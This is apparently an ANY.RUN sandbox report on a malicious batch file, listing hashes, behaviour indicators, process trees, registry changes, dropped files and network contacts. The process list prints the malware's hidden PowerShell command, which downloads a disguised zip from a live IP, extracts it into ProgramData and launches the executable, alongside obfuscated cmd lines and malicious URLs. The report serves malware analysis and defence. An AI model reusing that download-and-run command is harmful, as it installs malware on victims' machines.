File name:

07-692903.bat

Full analysis: https://app.any.run/tasks/c0df5fd8-1b77-49e9-b6f4-a03c8c38377e
Verdict: Malicious activity
Analysis date: August 06, 2021, 15:20:06
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

D7AC55E47163E462300FCC148E77DA48

SHA1:

9AA82CD07E9CBAC2A05B1A252776EA7E04E6D2DC

SHA256:

90212AB9890DBB3D87E853B4ACD13F8DE7E97DAE68B5354A22F0E552456C3BA6

SSDEEP:

192:o9DpybIclVnu765uB3FRC4c4r1GoKIovIROEILIRgveVenT:o9DpybfVnRonRC4c4r1GoKVvSfOSgvga

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2144)

    • Application was dropped or rewritten from another process

      • VirtualBox-#c568b91c1445b.exe (PID: 240)

    • Changes the autorun value in the registry

      • iexplore.exe (PID: 3292)

  • SUSPICIOUS

    • Checks supported languages

      • cmd.exe (PID: 1284)
      • cmd.exe (PID: 2212)
      • cmd.exe (PID: 2144)
      • cmd.exe (PID: 3920)
      • cmd.exe (PID: 3488)
      • cmd.exe (PID: 2424)
      • cmd.exe (PID: 2700)
      • cmd.exe (PID: 1272)
      • cmd.exe (PID: 2824)
      • cmd.exe (PID: 2588)
      • cmd.exe (PID: 2888)
      • cmd.exe (PID: 2968)
      • cmd.exe (PID: 3028)
      • cmd.exe (PID: 2312)
      • powershell.exe (PID: 828)
      • VirtualBox-#c568b91c1445b.exe (PID: 240)

    • Creates files in the user directory

      • powershell.exe (PID: 828)

    • Application launched itself

      • cmd.exe (PID: 2144)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2144)

    • Reads the date of Windows installation

      • powershell.exe (PID: 828)

    • Reads the computer name

      • powershell.exe (PID: 828)
      • VirtualBox-#c568b91c1445b.exe (PID: 240)

    • Creates files in the program directory

      • powershell.exe (PID: 828)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 828)

    • Drops a file with too old compile date

      • powershell.exe (PID: 828)

    • Starts Internet Explorer

      • VirtualBox-#c568b91c1445b.exe (PID: 240)

    • Reads the BIOS version

      • iexplore.exe (PID: 3292)

    • Reads Environment values

      • iexplore.exe (PID: 3292)

    • Drops a file that was compiled in debug mode

      • powershell.exe (PID: 828)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 828)

    • Reads the computer name

      • iexplore.exe (PID: 3292)

    • Checks supported languages

      • iexplore.exe (PID: 3292)

    • Reads CPU info

      • iexplore.exe (PID: 3292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
17
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details

Process information

PID
CMD
Path
Indicators
Parent process
240"C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.exe" C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
NVIDIA Smart Maximise Helper Host
Exit code:
0
Version:
6.14.10.100.03
Modules
Images
c:\programdata\virtualbox-#c568b91c1445b\virtualbox-#c568b91c1445b.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\programdata\virtualbox-#c568b91c1445b\nvsmartmax.dll
828C:\Windows\system32\windowsPowershell\v1.0\powershell.exe -windowstyle hidden -Command "& {Import-Module BitsTransfer;start-BitsTransfer 'http://15.228.127.148/defwin-bg.bmp' 'C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.zip';Start-Sleep -s 5 ;$shell = new-object -com shell.application;$zip = $shell.NameSpace('C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.zip');foreach($item in $zip.items()){$shell.NameSpace('C:\ProgramData\VirtualBox-#c568b91c1445b').copyhere($item);};Start-Sleep -s 5 ;rename-item -path ('C:\ProgramData\VirtualBox-#c568b91c1445b\bin.~tmp') -newname ('VirtualBox-#c568b91c1445b.~tmp');rename-item -path ('C:\ProgramData\VirtualBox-#c568b91c1445b\bin.exe') -newname ('VirtualBox-#c568b91c1445b.exe');remove-item 'C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.zip';Start-Sleep -s 5 ;Start-Process ('C:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.exe')}"C:\Windows\system32\windowsPowershell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1272C:\Windows\system32\cmd.exe /c echo %charpool:~1,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1284C:\Windows\system32\cmd.exe /c echo %charpool:~5,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2144C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\07-692903.bat" "C:\Windows\system32\cmd.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2212C:\Windows\system32\cmd.exe /c echo %charpool:~12,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2312C:\Windows\system32\cmd.exe /c echo %charpool:~11,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2424C:\Windows\system32\cmd.exe /c echo %charpool:~8,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2588C:\Windows\system32\cmd.exe /c echo %charpool:~1,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2700C:\Windows\system32\cmd.exe /c echo %charpool:~9,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 940
Read events
1 871
Write events
69
Delete events
0

Modification events

(PID) Process:(828) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\Component Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}\Enum
Operation:writeName:Implementing
Value:
1C00000001000000E5070800050006000F0014002C00C401010000001E768127E028094199FEB9D127C57AFE
(PID) Process:(828) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{2781761E-28E0-4109-99FE-B9D127C57AFE} {56FFCC30-D398-11D0-B2AE-00A0C908FA49} 0xFFFF
Value:
0100000000000000EAA91BA0D68AD701
(PID) Process:(240) VirtualBox-#c568b91c1445b.exeKey:HKEY_CURRENT_USER\Control Panel
Operation:writeName:(Padr�o) 2
Value:
VirtualBox-#c568b91c1445b
(PID) Process:(240) VirtualBox-#c568b91c1445b.exeKey:HKEY_CURRENT_USER\Control Panel
Operation:writeName:(Padr�o) 3
Value:
C:\ProgramData\VirtualBox-#c568b91c1445b\
(PID) Process:(3292) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
iexplore.exe
Executable files
13
Suspicious files
4
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\bin.~tmp —
MD5:—
SHA256:—
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\NvSmartMax.dll —
MD5:—
SHA256:—
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\VirtualBox-#c568b91c1445b.~tmp —
MD5:—
SHA256:—
828powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:23222B62901B7247584DB37A6EE54FFB
SHA256:E45A52E717A1A2639286B11C96D23B576661E19AF4233E5BDB2C7CEC18405FE0
828powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF132fdd.TMPbinary
MD5:B93ABC5C1F5D27A7B043F6526564A21C
SHA256:CD3FEB0098DF4826945BB74C378A5F713FB8B964831DD0777713A084FE05A8B8
828powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5QACLXJJCEF8I8SEV7UP.tempbinary
MD5:23222B62901B7247584DB37A6EE54FFB
SHA256:E45A52E717A1A2639286B11C96D23B576661E19AF4233E5BDB2C7CEC18405FE0
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\nssckbi.dllexecutable
MD5:5C93F95BE21D769AB32DDE06847E2888
SHA256:8B6C3C1878A062CF645815A58C9C230E682C5A72A9DC6D0C862C67A44ECDAD65
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\borlndmm.dllexecutable
MD5:D329682A25BB2433BC05D170B8E3E9B0
SHA256:B3CC3F8B65B37A807843E07C3848EBA3B86F6E2D0B67C6D7CB14E9660A881618
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\Drivers\usbaapl64.catcat
MD5:26EEE7AF8AA1EF8C1BD7C9327C602844
SHA256:946B0A8150213D6A4DD3AEF6248EBB923F8167C84C7FF1B10137E5030EC8BF30
828powershell.exeC:\ProgramData\VirtualBox-#c568b91c1445b\Drivers\usbaapl64.infbinary
MD5:2DA3A91B71919D035D8FD17B6B90BBC2
SHA256:EDEA577E694EFCEEC5B26D745FFF8125E9FC8A78CACD7365E77EF35031EBC49B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
888
svchost.exe
GET
200
15.228.127.148:80
http://15.228.127.148/defwin-bg.bmp
US
compressed
18.7 Mb
unknown
888
svchost.exe
HEAD
200
15.228.127.148:80
http://15.228.127.148/defwin-bg.bmp
US
—
—
unknown
3292
iexplore.exe
GET
403
172.67.204.52:80
http://ximbocadaparafuseta.com/apache_session_manager/3v/?utv_c=&session=Lzp9G_k2CHknKmRksT-xpm-8qJ5uCIyKH_EuImD9sTAhLG-JIx5TIJxkHIS3CG-8q2yhCILloUIn%0D%0AEmxmL3yOZ0yTD_yvZycfLmABpTVlAJuvD0RlGTcSM0gRGKyWEHcjMRuApUkuq_Z9IwWfqIcUBGAw%0D%0ArHWSJyqnoTWgHzkwMm09
US
text
32 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
888
svchost.exe
15.228.127.148:80
—
Hewlett-Packard Company
US
unknown
3292
iexplore.exe
172.67.204.52:80
ximbocadaparafuseta.com
—
US
suspicious
3292
iexplore.exe
162.125.66.18:443
www.dropbox.com
Dropbox, Inc.
DE
suspicious

DNS requests

Domain
IP
Reputation
www.goole.com
  • 217.160.0.201
suspicious
ximbocadaparafuseta.com
  • 172.67.204.52
  • 104.21.93.34
malicious
www.dropbox.com
  • 162.125.66.18
shared
lz-v2.dynalias.com
  • 15.228.82.169
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
07-692903.bat